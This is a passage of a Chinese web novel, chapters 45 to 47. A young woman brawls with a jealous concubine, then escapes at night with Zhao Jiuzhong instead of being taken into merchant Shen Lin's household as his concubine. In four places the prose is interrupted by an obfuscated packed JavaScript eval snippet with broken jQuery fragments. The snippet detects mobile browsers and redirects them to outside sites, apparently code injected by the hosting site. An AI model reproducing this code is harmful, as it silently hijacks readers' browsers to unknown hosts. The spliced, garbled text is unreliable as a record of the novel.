贺岁愉猜得八九不离十。 郑姨娘是沈老爷最近这大半年最宠爱的妾室,但是近些时候,沈老爷对她的态度忽然冷淡下来。 郑姨娘心中惶恐,却又不知道缘由。 本来之前老爷都答应昨儿个晚上去她院子里了,她久等不见人来,一问才知道,老爷出府了。 她这才知道贺岁愉的存在。 她既惊又怒。 她一向花钱大手大脚,而且家里还有个赌鬼兄长,若失了老爷的宠爱,她现在的好日子都将成为过眼云烟。 她晓得府里那些不受待见的老姨娘,在后院看不见的角落里,过得是什么惨日子。 所以一时怒气上头,她就径直过来了,门口守门的小厮见过她,知道她得老爷的宠爱,她硬要闯进来,他们也拦不住。 “贱人,叫你勾引老爷,还没进门就给老娘下马威,真当老娘是好欺负的? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15115768|161417||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ”那女人尖声叫骂着。 贺岁愉被她抓住了头发,痛得龇牙咧嘴,头皮都快被对方扯掉了。 于是,她用更大的力气一把抓住了对方的头发,使了十足十的力气狠狠掐对方的胸口。 “啊——啊——” 郑姨娘痛得厉声尖叫起来,气得面目扭曲,伸手来抓贺岁愉的脸。 贺岁愉岂会叫她得逞,当即一把抓过她的手往反方向拧,疼的郑姨娘哇哇大叫。 绿琴和陆妈妈本想上来帮忙,但是被郑姨娘带来的两个丫鬟拦住。 郑姨娘的两个丫鬟见主子跟人打架落了下风,连忙想上前帮忙,绿琴和陆妈妈既然已经分到了贺岁愉身边,也不可能干看着两个丫鬟过来帮着郑姨娘打贺岁愉,于是绿琴和陆妈妈又反过来拖住了那两个丫鬟。 场面一时混乱极了。 小小的一方庭院中,六个人分成三组,缠斗不休,尖叫声此起彼伏,和咒骂的声音混在在一起,变成一团乱麻。 屋顶青瓦上的鸟雀早就被惊飞,扑腾扑腾飞远了。 她们闹出的动静太大,就连前院守门的小厮都被后院混乱的叫骂和干架的声音引了过来。 “这可怎么办?” 两个小厮手足无措地看着院子里混乱的情形。 “咱俩总不能干看着!” 两个小厮犹豫下还是上前拉架,他们不敢动郑姨娘和贺岁愉,毕竟这两位都是老爷的女人,一位正得宠,后院里谁的风头也盖不过她去;一位是废了老大劲儿从衙门地牢里捞出来的新欢,他们哪个都得罪不起。 所以,二人不约而同先去拉郑姨娘的两个丫鬟,以及绿琴和陆妈妈。 那小厮刚站到旁边,才伸手拉了一把,就挨了一爪子,混乱中也没看清是谁抓的,他“哎哟——”地叫唤了一声,拉第二把,又挨了一拳头。 另一个小厮的情况也没好到哪里去,两个人累得满头大汗,硬是拉不开打架的几个人。 忽然,一声厉喝从门口传来—— “都住手!” 郑姨娘听出这个熟悉的声音,率先停了手。 贺岁愉的手已经伸出去了,刹不住,她也没想刹住。 于是,“啪——”的响亮一声,郑姨娘的脸上又落下了一巴掌。 贺岁愉迅速收回手,一脸歉意,“对不住,没收住。” 贺岁愉两次分别打了左脸和右脸,现在,郑姨娘两边脸上都是红色的巴掌印子了。 郑姨娘瞪大了眼睛,不可思议地看向贺岁愉,气得发抖,但是沈林在此,她也不敢再用刚刚那个泼妇劲头来打贺岁愉。 郑姨娘气得跺脚,用葱白如玉的手指指着贺岁愉,泪光盈盈的眼睛却看向朝他们走过来的沈林,“老爷,你看她!” 沈林看向发丝散乱、顶着两个巴掌印子的郑姨娘,脸上的表情很生气,“成何体统!你看看你,像什么样子!” 郑姨娘被沈林严厉的语气吓了一抖,当即就“呜呜——”地哭了,“老爷,我、我也不想的啊,是她、是她打我……” 她一边哭着,一边指着贺岁愉。 沈林的目光移到了贺岁愉身上。 贺岁愉也没好到哪里去,头发早已经散了,衣裳领口也被扯得乱七八糟,左边脸颊有一片绯红的印记,是郑姨娘刚刚扇她那一耳光留下的。 45.第 45 章 贺岁愉心中一紧,已经做好了挨骂的准备。 但是沈林只是皱了皱眉头,并没有说她,重新将目光落在郑姨娘身上,“谁准你上这儿来的?” 他的语气中,怒火压抑不住。 空气中的气氛紧张起来,让人提心吊胆。 郑姨娘哭哭啼啼,用娇滴滴的声音低声唤着:“老爷……” 沈林不为所动,下了命令:“这个月的月银扣光,在府中禁足一个月。” 郑姨娘眼泪大颗大颗地往下掉,声音打着颤:“老爷,不,不要这样对待妾身……” 沈林却不耐烦听她的哭诉,厉声呵斥道:“还不赶紧滚回去?” 郑姨娘害怕生气的沈老爷,想张口狡辩但是一抬头看见沈林严肃的脸色,又不敢开口了,最终哭哭啼啼地走了。 郑姨娘走了以后,沈林朝贺岁愉走过来,他的大掌抚上贺岁愉的左边脸颊。 贺岁愉像个木头似的站在原地,一动不敢动,身形僵硬得仿若一座石像。 她其实本来侧开脸躲一下的,但是想到沈林方才发怒的模样,还是硬生生忍住了。他如今正在气头上,她若是还敢忤逆他,那他的怒气必然会牵连到她身上。 今日之事,虽然是郑姨娘先找她的事,可是明眼人都能看出来,郑姨娘被她压着打,身上的伤更严重一些,贺岁愉多少还是有点心虚的。 “疼不疼?”他怜惜地问。 贺岁愉点了点头。 他灼热的大掌像是火钳一样烙在她的脸颊上,几乎让她难以忍受完全,完全靠自己的意志力控制着自己,没做出过激的抵触举动来。 绿琴从厨房里拿了一颗煮鸡蛋过来,帮贺岁愉消肿,沈林这才从贺岁愉旁边让开。 贺岁愉本来还害怕沈林今晚要在这里留宿,但是沈林生意上的事情貌似还没有处理完,跟贺岁愉一起用了午膳以后,连话都没顾得上说几句,就被管家叫走,又匆匆离开了。 贺岁愉大松一口气。 绿琴脚步轻快地从外面走进来,高兴地说:“姑娘,咱们明儿个就进府了。” 贺岁愉大惊失色:“明天?” 绿琴点点头,“对啊,老爷说您一个人住在外面不安全,所以还是早些让您进门,明儿个正好是个黄道吉日,所以老爷将您的纳妾里安排在了明天。” 绿琴见贺岁愉没什么反应,奇怪道:“您不高兴吗?” 贺岁愉扯着嘴角僵硬地笑了一下,“高兴啊,特别高兴。” 下午的时候, 绣坊的人送来了贺岁愉明日要穿的衣裳,这是沈林吩咐绿琴之前去订的,原本就是成衣,按照贺岁愉的身量改制而成,所以才能在这么短的时间里做好送过来。 “姑娘试试看合不合身?” 贺岁愉点点头,脱了外面的外裳,从绣娘手里接过衣裳穿上,绿琴也上前帮她系腰间的系带,帮着她捆腰带、整理衣裳。 贺岁愉站在铜镜前,看着有点陌生的自己。她从来没穿过这么好的衣裳,她本来应该开心才是,但是她现在一点也不开心。 绿琴笑着看向贺岁愉:“姑娘穿这身真好看。” 贺岁愉勉强笑了笑以作回应。 她日后进了沈家,更要仰仗沈林鼻息,绿琴是沈林的人,她不能在绿琴面前表现出她讨厌沈林。 绣坊的人走了没多久,忽然下起了淅淅沥沥的小雨,天色瞬间昏暗下来,屋外狂风大作。 贺岁愉早已经脱下了刚送来的新衣裳,换回了之前穿的衣裳,她现在身上穿的也是沈林在她出狱之前准备好的新衣裳,她在牢狱里穿的衣裳又脏又臭,早就不能看了。 她提着裙子跨过门槛,走到门外,站在屋檐下。 密密麻麻的雨丝从天空中落下来,好像织成了一张大网,把这个院子罩住,将贺岁愉这个渺小的人也笼罩在其中。 冰凉的雨丝落在她的脸上,她也不躲不避,就连退半步也不曾,站在原地,任凭雨丝落在她的脸上。 “姑娘怎么站在这里?”绿琴出来发现贺岁愉站在屋檐下,离雨水那么近,连忙道,“淋雨受了寒可怎生是好?明儿个可是姑娘的大日子呢!” 贺岁愉回过神来,转过身子,跟着绿琴进去了,“好久没下雨了,觉得雨丝扑在脸上还挺舒服,就站得近了一些。” 本来就出不了院子,下了雨更是连屋子里都出不去了,贺岁愉无聊得紧,自从穿越过来每天挣扎在生死线上,她还没有这么安逸清闲的日子,一时之间很难适应,见绿琴在窗边绣花,于是也凑了过去。 贺岁愉对于绣花一窍不通,别说绣花,连最基础的针线活儿她也没做过,好奇地看着绿琴手里的绣绷,“这是绣什么?” 绿琴手里的绣绷不大,约莫只有一面团扇大小。 绿琴听到贺岁愉的问题,手上的动作顿了一下,“绣……绣个香囊。” “你自己用吗?”贺岁愉随口与她闲聊,“你怎么选了个颜色这么深的布料,很难搭衣服吧?” 绿琴的脸红了,低声说:“不是自己用,是准备送人的。” 贺岁愉看见她脸颊上的红晕,挑眉,“送情郎?” “是、是我的未婚夫。”绿琴脸皮薄,听见贺岁愉过分直白的话,羞得说话都结巴了。 贺岁愉瞬间明了,“你很喜欢他嘛。” “我们从小一起长大的,我和沈府签的是活契,等到后年我就该出府了,到时候跟他回老家,在乡下置几亩地。我爹和他爹都已经不在世上了,到时候就再把我娘和他娘接过来。” 绿琴难得跟贺岁愉提到她自己的事情,贺岁愉也就静静地听着。 绿琴说起自己的打算,说起自己对将来的美好畅想,一时没控制住多说了一些,反应过来,便赶紧转移话题:“姑娘要不要绣一个给老爷?” 贺岁愉头摇得跟拨浪鼓一样,“不用了,我不会。” “我可以教姑娘。” 贺岁愉继续摇头,坦言:“太难了,我不想学。” “也是,姑娘过了门,要什么香囊买不到?”绿琴笑着恭维她,“姑娘是富贵命,学这个也没用。” 天色黑下来,绿琴早已经收拾了针线篓子,问贺岁愉可要现在用晚膳? 贺岁愉点头。 虽然她待在院子里什么也没干,但还是饿得快。 贺岁愉心道,也许是她还在长身体,十七八岁的年纪本就是饿得最快的时候, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15122466|161417||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她也许要回长个子呢。 想想在她原本的时空,原主这个年纪应该在上高中才对,结果,现在马上就要嫁给沈林这个老畜生了。 贺岁愉其实多少还是有点儿感激沈林的,当然,如果他捞自己出来,不以娶自己当妾室为要求的话,那她应该会感谢得更真心实意一点。 天黑了,绿琴早已经收拾的桌子上的碗筷出去了。 贺岁愉从湢室出来,屋子里就她一个人,绿琴走之前点了蜡烛,烛台放在桌子上,散发暖黄色的烛光,照亮了整间屋子。 她的头发还在滴水,晶莹的水珠顺着乌黑的发梢滑落下来,“啪嗒啪嗒——”滴落到木地板上。 她拿着手巾擦拭头发,绿琴走之前怕她冷,替她关好了窗户和门,外面雨似乎又下大了,雨声哗啦作响,隔着门窗传进来,声音变得低沉发闷。 贺岁愉觉得屋子里有点闷,于是走到窗户边,伸出一只手将窗户打开,窗户刚开了一条缝,冷风猛地灌进来,她觉得被热水泡得昏胀的头脑清醒了不少。 她刚抬起头,就看见了一个黑影猛地蹿到窗户边。 贺岁愉吓得想要尖叫,慌乱地伸出手想把窗户关上。 上次张石头给她留下的阴影不小,至今都对夜里的阴影恐惧万分。 蜡烛的光照到窗户边变得稀薄,只能隐隐约约看见一个人的轮廓。 一双手从黑暗中伸出来,抵住了贺岁愉要关住的窗扇。 贺岁愉见窗户关不动,转身要逃,张口便想喊救命:“救……” 她的话还没喊出口,那低沉又熟悉的声音在她的背后响起,“别出声,是我。” 贺岁愉不可思议地瞪大了眼睛,是、是他…… 这一刻她脑子里的一切想法都清空了,嘈杂的雨声在她耳廓里融化,她脑子里只有刚刚听到的那个声音。 她的身体仿佛也不听她使唤了,像个木头似的僵硬,缓缓地转过身来。 赵九重已经走到了窗户边,就站在那扇关了一半的菱格窗后面,微弱的烛光照在他生了胡茬的脸上。 他浑身上下被雨水浇了个透,淋得像个落汤鸡似的,头发也淋湿了,黑色的发丝湿哒哒地黏在脸颊上。 贺岁愉站在原地,并没有走到窗边的意思,干的发疼的嗓子好半天才挤出一句话,“你怎么来了?” 声音很低很沙哑,几乎要被浓郁的夜色湮没,赵九重在一片风声呼啸的干扰中,听到了她久违的声音。 许久不见,她对他……变得疏离客气了不少。 在这一刻,赵九重无端地想念起她从前嬉笑怒骂、张扬刻薄的模样了。 “你……”他终于开了口,却没有回答贺岁愉的问题,他收回了停驻在她身上过分久的目光,也不敢将目光落在她的房间里,只好落在空寂的窗台上,“听说你……要嫁人了?” 短短一句话,他停顿了好几次才问完,即便问出口以后,也不知道自己是以何种身份问出这个问题。 贺岁愉顿了一下,坦然承认:“对,婚期……明日就抬进府了。” 她本来想说婚期定在明日,忽然又想到,她明天顶多是被一顶小轿从侧门抬进沈家,这大概算不上是成婚。 46.第 46 章 一顶小轿从侧门抬进府,这已经算是沈老爷对她天大的抬举了。 即便沈林不给她妾室身份,叫她无名无分地进沈家当个暖床丫鬟,她也无话可说,毕竟当初是她有求于人。 而且,就冲着她打死过人,沈林还敢娶她做小老婆,这就已经是十足的稀罕事儿了。 她在赵九重面前更狼狈的时候都有,给人当小老婆这件事,在她的过往黑历史中,已经不值一提。所以,她在赵九重面前也毫无掩饰,该是怎么样就是怎么样,实话实说,不加修饰。 赵九重应该是已经知道贺岁愉要给人做妾,所以在听到她如此说法以后,也不显得惊讶。 他只是哑声问:“他……他对你好吗?” 贺岁愉顿了一下,语气自然地回答说:“挺好的啊。” 她甚至笑了一下,但说话的语气却冷冷清清的,听不出来有多高兴,“他很有钱,日后我不必再为生计奔波了,也不用每天都过着提心吊胆的生活了。” 这一刻她在想什么呢? 她不知道。 连她自己也不清楚,在对赵九重说出这些话的时候,她的心底,有没有存着那么一两分赌气的心思。 倘若真存着赌气的心思,那她的目的显然达到了。 因为,她的话像是无形的刀子,悄然无声地插进了赵九重的胸口,让赵九重一时间有点儿喘不上气。 贺岁愉说的这些,他找到这里之前,都已经听说过了,可他听到的那些话,都是出自于无关的人口中。 所以,当他听到贺岁愉本人亲口说出来时,赵九重才意识到,他远没有自己所表现出来的这么平静。 在幽暗的烛火照耀之下,他面部的肌肉僵硬地颤动了一下,似乎想要说什么,但是却又没说。 贺岁愉并不是时时刻刻在注意着他,她早已经拿着手巾继续擦湿哒哒的头发,连目光都没再往窗边来。 赵九重在她侧过来摆弄头发时,忽然注意到了她脸上不明显的红印子。 赵九重骤然变了脸色,“你脸上的伤是怎么回事?” 他很快想到,“他打你?” 贺岁愉擦头发的动作一顿,脸上的表情冷了下来,实话实说:“不是,他府中妾室打的。” 赵九重的脸色难看,声音也沉了几分,“你还未过门,他府中妾室就已如此强横?” 贺岁愉忽然嘲讽似的轻“呵”了一声。 她忽然觉得赵九重这人很虚伪,当初留下她一个人在复州,她说他们分道扬镳,从此桥归桥路归路,他半句反驳都不曾。如今他假仁假义地替她义愤填膺,打抱不平,又是出于何等立场呢? 况且,事已至此,他说这些,又有什么意义。 她胸腔中腾起一股无名火,“唰——”地转过头看向他,语气毫不客气:“关你什么事?” 赵九重僵在原地,被烛光照亮的眼眸似乎都黯淡下去。 贺岁愉不知道自己心头的怒气从何而起,但她就是觉得一口气如鲠在喉,让她顺不过气来。 贺岁愉不说话,走到这一步,她与赵九重之间,早已无话可说了,从他离开客栈的那一日,他们之间的联系就已经断掉了。 她后来那么难,有许多几乎困难到绝境的时刻。 杀了人连夜出逃缩在街角等待天明时,她想起过他,她觉得赵九重若是在,一定会有办法。 在出城的前一刻被官差抓住时,她想起过他,她觉得他若是在,一定能够带着她从那群官差里逃出去。 被关在暗无天日的地牢里时,她也想起过他,她觉得他若是在,她好歹心里也有个指望,觉得他在外面一定会想办法救自己出去。 可是,她走到现在这一步,已经几乎不会想起他了。 即便想到,也只会想到,他大概已经得偿所愿,投军从戎、建功立业去了吧。都已经与她无关。 贺岁愉不说话,赵九重不知道为什么,忽然也沉默下来。 雨水哗啦哗啦地砸在石板上,顺着他的身体流下去,他仿佛一座石像,站在窗口不动如山。 沉默良久, 原本潮湿带着寒意的空气,逐渐变得焦灼起来。 她抬头看见他,又想到明天就要嫁给沈林那个老东西了,心底里莫名烦躁。 她把手巾“啪——”一声扔在了桌子上,走过去,伸手就关窗户,“既然你没什么要说的了,就早些离开吧。” 关窗户的“吱呀——”声响了一半,戛然而止。 关了一半的窗扇被抵住。贺岁愉的手从屋子里这一侧往外推,而另一双粗壮有力的大手从外面把住了窗扇。 这扇窗户就这样不上不下地卡在了两人中间,仿佛一道屏障似的。 “等等——”赵九重说。 “你……”他喉头滑动了一下,黝黑的眸子静静地看着她,“是不是真的想好了?” 贺岁愉扶着窗扇的手颤了一下。 有那么一瞬间,她消失已久的骨气似乎回来了一点。 灵魂深处隐隐约约有个声音告诉她,她是接受过知识和学校教育的人,她从前曾学过那么多东西,她不应该就这样放弃自己的人生,将自己的生命寄居在一个老男人的后院里。 但是她的脑子里太乱,痛苦的记忆太多,这声音只出现了一瞬间,就被吹散了。 想好什么,赵九重没说,但贺岁愉却明白,他问的是,她是不是真的想好了要嫁给沈林。 贺岁愉的目光落在院子的黑暗角落里,沉默了好几息,才说:“我想没想好,有什么用呢?” “当然有用。”赵九重声量猛地拔高了一些。 他说:“成亲是一辈子的人生大事,务必要慎之又慎。” 贺岁愉抖了下肩膀,像是笑了一下。 她转过头来,似笑非笑地看向他,语气刻薄:“怎么?我若是没想好,你还能带我私奔不成?” “如果你愿意的话。”赵九重说。 “不能就别……”听到他说了什么,贺岁愉的声音戛然而止。 她的瞳孔微微一震,原本准备好的要骂他的话卡在嘴边没能出来。 声音并不算很大,甚至赶不上哗啦哗啦的雨声大,但是贺岁愉离得很近,所以听得很清楚。他的语气凝重,一丝一毫玩笑的意思也没有。 “你……”贺岁愉半信半疑地看着他,“你认真的?” 赵九重深吸一口气,重重点头,“认真得不能再认真。” 他的目光仿佛带着灼人的温度,看过来的时候,贺岁愉竟忍不住要胆怯地避开他的锋芒。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15128153|161417||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 贺岁愉没说话,手指紧紧地抓着窗扇,但是也没有继续关窗,将他关在外面。 “你愿意跟我一起去随州吗?”赵九重问。 这一刻,贺岁愉想到了很多,她想到赵九重在随州参军,常年在军营中,即便她去了随州大概也时常见不到他,也想到了赵九重或许会跟着军队去往河中平叛,她去了随州也可能还是一个人…… 短暂的时间里,她能考虑到很多东西。 可她什么也不想考虑了。 也许是心动于赵九重的邀请。 也许是真的不喜欢沈林。 也许是,她心底里总有一点不甘心。 她是想要活下来,这是她一直以来的首要目标和原则,但她不想做男人豢养在后院的宠物,将余生的喜怒哀乐、衣食住行都完全寄托在一个男人身上。 于是,她点了点头。 “好。”她说。 赵九重听到她答应,高高悬着的心才落了下来。 “那我们什么时候出发?”他问。 赵九重话音刚落,一阵狂风吹过,院子里的一盆放在架子上的兰花大概是没放稳,被大风被吹倒,“砰——”一声砸在了地上,巨大的声响声音在黑暗的夜里格外清晰。 贺岁愉被突如其来的声音吓了一跳。 她把手从窗扇上收回来,“现在城门未开,离开这儿也出不去城,不必着急,等我先收拾好东西。” 她刚要转身去收拾东西,忽然听到隔壁开门的声音,大概是绿琴听到了刚刚那个巨大的声响,所以出来检查了。 窗户打开了以后,人站在窗边,外面有什么风吹草动的声音就格外明显,他们能够第一时间察觉。更何况,赵九重还站在窗外,隔壁的动静更是瞒不过他。 “有人来了。”赵九重说。 他的声音几乎和隔壁开门的声音同时响起。 “进来。”贺岁愉面色一变,慌乱地说,手上也没闲着,伸手抓着他湿透了的衣裳,把他从窗口往进来拽。 赵九重撑着窗台一跃,就跳进了屋子里,还以迅雷不及掩耳之势顺手关上了窗户。 不多时,绿琴就提着灯笼就走到了窗户前面。 贺岁愉心脏咚咚直跳。 好险,就差一点儿。 “姑娘,您还没睡吗?”绿琴站在窗前问。 “擦头发呢。”贺岁愉就站在离窗户不远的地方擦头发,窗户上能照出她的影子,连她的动作都照得清清楚楚。 “奴婢帮您吧。” “不用了,马上就要擦干了,我都准备睡觉了。” “那好,您早些休息,明儿一早老爷就派人来接您了。” “好,我知道了。” 绿琴撑开伞,一手提着灯笼,一手举着伞,检查了一下院子里被打碎的花盆,见没有别的什么不对劲的地方,又回去睡觉了。 贺岁愉见绿琴走了以后,就开始收拾起自己的东西。沈林不知道是不是故意防着她,她在这里住的这些时日,虽然吃穿样样精致,但是他一个子儿都没给她。 她原本身上的钱,进大牢那一刻就没了,眼下又是身无分文,就连那两盒昂贵的胭脂都被官府的衙役搜罗走了。 不过,她没钱,赵九重身上应当是有钱的吧? 47.第 47 章 虽然没有现银,但是沈林送了她几样还算值钱的首饰,贺岁愉把首饰一股脑的装起来了。 她收拾完了东西,往后一仰倒在了床上,“时间还早,现在出去也出不了城,我先睡会儿,你看着快天亮的时候再叫我。” “可我的马还栓在外面。” 贺岁愉叹一口气,猛地锤了一下床板,想睡个觉都不成了。 “算了,那走吧。”她说。 马拴在外面,要是被偷了,那他们俩还跑个屁啊。肯定没跑多远就被沈林逮住了。 赵九重轻轻推开门,门发出很细微的声响。 贺岁愉吹灭了蜡烛,背着小包袱,跟在他后面出去,还左顾右盼鬼鬼祟祟地四处打量。 外面一片漆黑,伸手不见五指。 贺岁愉什么也看不见,只能听到密密麻麻的雨声。 他们出来时,雨已经比方才小多了,现在是淅淅沥沥的小雨,贺岁愉站在廊下止住了脚步,“好大的雨啊。” 但是雨伞在绿琴屋子里放着,她总不可能开了绿琴的房门,钻进她屋子里去取吧?这和自投罗网有什么区别? 赵九重浑身都已经淋湿了,对这点儿小雨全然不在乎,他身高腿长,不知道是不是他的视力格外好一些,即便在黑夜中也迈着大步子,很快就走到了围墙边。 见贺岁愉没有跟上,他回过头来看向贺岁愉,压低声音说:“过来。” 贺岁愉在一片漆黑中什么也看不见,只能摸索着走过去,生怕一不小心撞到东西。 她中途还被地上的铺着的微微翘起的石板挡了一下,差点儿迎面摔下去,幸好她及时稳住了身体。 她摸到了赵九重身边,摸到了他湿淋淋的衣裳。 “你先爬上树。”赵九重说。 贺岁愉把背上的包袱取下来,递给他,“拿着。” 赵九重接过包袱,挎在他肩膀上。 贺岁愉抓着歪脖子桃花树的树枝爬上了树,站在树上才能勉强够到围墙边缘,赵九重抓着她的腿,把她往上送。 贺岁愉抓住围墙边缘,费力地爬了上去,她缓慢而小心翼翼地调整好姿势,选择了最稳定的姿势,骑在墙头。 她刚在围墙上坐好,赵九重就助跑两步,轻轻一跃爬上了围墙,连气儿都不带喘一下,轻松极了。 贺岁愉:“……” 他如此毫不费力,显得她刚刚很笨拙诶。 贺岁愉磨了磨牙,这可恶的赵九重。 赵九重率先从围墙上跳下去,然后站在下面伸出双手来接贺岁愉。 贺岁愉伏低身子,伸出双手去够他向上伸的手。 “你别这样缩着,不好使劲儿,你坐直一点,跳下来。”赵九重说。 “跳下来?”贺岁愉瞪大了眼睛,“这么高的围墙,给我摔瘸了我还怎么跑?” “不会,我会接着你的。”赵九重郑重其事地说。 “接着我的。”贺岁愉阴阳怪气地重复了一遍他说的话,满脸嫌弃地撇了撇嘴,“你这会儿不讲究什么男女大防了?” 虽然黑夜中赵九重看不见贺岁愉的具体表现,但是他能听得出贺岁愉的语气。 赵九重叫她说的不好意思,连脸颊都微微泛红,但是幸好大半夜的乌漆嘛黑一片,贺岁愉一点儿看不见。 这让他感觉自己好歹保住了最后一丝颜面。 不满归不满,正事面前,贺岁愉分得清孰轻孰重,日后跟赵九重算账的机会多的是,现下当务之急,是先从这儿跑出去。 “你瞅准我的位置没,你可得接准了啊,要是把我摔了,我饶不了你!”她咬牙切齿地说,伏低身子,伸出一只手压得格外低,去试探赵九重站的位置是不是对准了她。 在黑夜中,她摸索的手触到了赵九重温热的皮肤,在一片冰凉的雨水中间,他们短暂地触及到了彼此的温热。 在确定赵九重的确站在自己正下方以后,贺岁愉又不放心地嘱咐了一遍:“你可得接好!” “放心。”赵九重的语气平淡镇定,胸有成竹,仿佛这只是一件如吃饭喝水那般简单的小事一样。 贺岁愉把另一条腿从围墙的另一边挪过来,横坐在围墙上,然后心一横,跳了下去。 落入了赵九重结实的怀抱里。 贺岁愉高高悬起来的心虽然放下来了,但是不知道为什么,却飞快地跳动起来,在她胸腔中发出异常快的震动。 贺岁愉站稳以后立刻脱离了他的怀抱,赵九重也像是被烫着了一样,飞快缩回了手。 明明之前更亲密的时刻都有,比如同躺在一张床上,但是不知道为什么,眼下忽然就不适应起来。 二人神色都有些怪怪的。 幸好这夜大雨,没有月亮,四下一片漆黑,他们谁也看不见谁脸上的表情。 “你的马拴在哪儿?”贺岁愉问。 “就在前面。”赵九重说。 赵九重带着贺岁愉没走多远,就走到了拴着那匹马的地方。 赵九重翻身上马,朝她伸出了手,“上来吧。” 贺岁愉也不客气,把手递到他手里。 赵九重拽着她上了马,骑着马朝城门口的方向走去。 沈林的这处别院离城门口有些距离,如果是靠两条腿走,这一路过去得走上一个多时辰,但是骑马就快多了,即便是赵九重骑着马漫步而行的速度,他们到城门口也只花了半个时辰。 街道上空空荡荡,除了他们两个,一个人也没有。 毕竟,下这么大的雨,谁家好人大半夜冒雨出来晃荡? 二人找了一处僻静的地方躲雨,这家茶楼的屋檐很宽,他们两人一马俱站在檐下躲雨。 雨水打在瓦片上,发出“啪——啪——”的细微声响,密密麻麻地在赵九重头顶炸开。 他的个子高,离屋顶近,自然听得一清二楚。 听着雨声,虽然他们目前的情况可以说是一团糟,但是赵九重的心,莫名就是静了下来。 好像之前一直牵挂的那一块儿,突然回来了。 他伸手抚上心脏的位置,感受到它有力的跳动,一下,一下,又一下。 屋檐下方,台阶边缘的地方早已经被地上溅起来的雨水打湿,但是里面靠近墙壁的地方还是干的,贺岁愉站了没多久,就觉得累了,于是一屁股靠墙坐下。 按照往常这个时间,她应该躺在床上睡得正香才是,现在,她却大半夜顶着大雨翻墙,又跑了这么远,在陌生的茶楼屋檐下,蹲守等待城门口开启。 贺岁愉早就困了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15133429|161417||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 她靠着墙,渐渐闭上了眼睛,脑袋也一点点往左边靠去,没多久,就在一片催眠的绵密雨声中睡着了。 赵九重站了好久以后,也觉得腿酸,于是将马拴在了旁边的柱子上,也坐在了她旁边。 贺岁愉睡着了,睡着睡着眼看着要倒下去,赵九重眼疾手快,连忙一把扶住了她的身体,扶着她重新靠在粗糙的墙壁上靠好身子。 睡梦中的贺岁愉应该是察觉到有人摆弄她的身体,但不知道是出于信任还是太困了,她没醒,连眼睛都没有睁开一条缝,只是皱了皱眉头,靠在墙上又陷入了睡梦中,很快就发出均匀的呼吸声。 赵九重也短暂地休憩了一会儿,他从随州一路赶回来,因为时间紧迫,中间也没有怎么好好休息过,虽然他眼下精神亢奋毫无睡意,但是身体却感觉到了疲惫和酸软。 赵九重靠在贺岁愉旁边的墙壁上,不知道过了多久,渐渐地,闭上了眼睛。 *** 贺岁愉再醒过来时,雨不知何时已经停了。 但是应该刚听没多久,因为地面上仍然是湿淋淋的,地面凹下去的地方积了水,映出天空的模样。 天快亮了。 赵九重坐在她旁边, 有赵九重在身边,她睡觉都要安心一些,虽然赵九重也不是万能的,之前可没少连累她,但是赵九重莫名地,就是给她一种靠谱的感觉。 她半边身子已经被压麻了,被压了半晚上没动过的腿也在抽筋,贺岁愉扶着墙,面目狰狞地从地上站起来。 好麻好麻…… 她在地上跺了跺脚,勉强活动开来,又活动了一下身子,这才感觉舒服了一些。 等她折腾半天,慢慢活动好,麻了的腿和身体彻底恢复过来时,天已经彻底亮了。 街道上出工的工人,摆摊的摊贩等等,各形各色的百姓来来往往,包子铺的老板已经蒸熟了好几笼热腾腾、香喷喷的包子,人群重新喧闹活跃起来。 贺岁愉有些担心。 这个时间,绿琴应该已经发现她不在房间里了。 今日是她被抬进沈府的日子,过来开脸的婆子和化妆的妆娘肯定来得很早,现在,绿琴肯定已经急急忙忙地将她跑了的事情禀告给沈林了。 贺岁愉跟赵九重赶紧排队出城,这次排得早,他们就排在队伍最前面,期间还有个不要脸想插队的汉子,过来径直站在了贺岁愉前面。 贺岁愉不可思议瞪大了眼,正要骂人,还没来得及,那男人就被赵九重揪着领子甩到旁边去了。 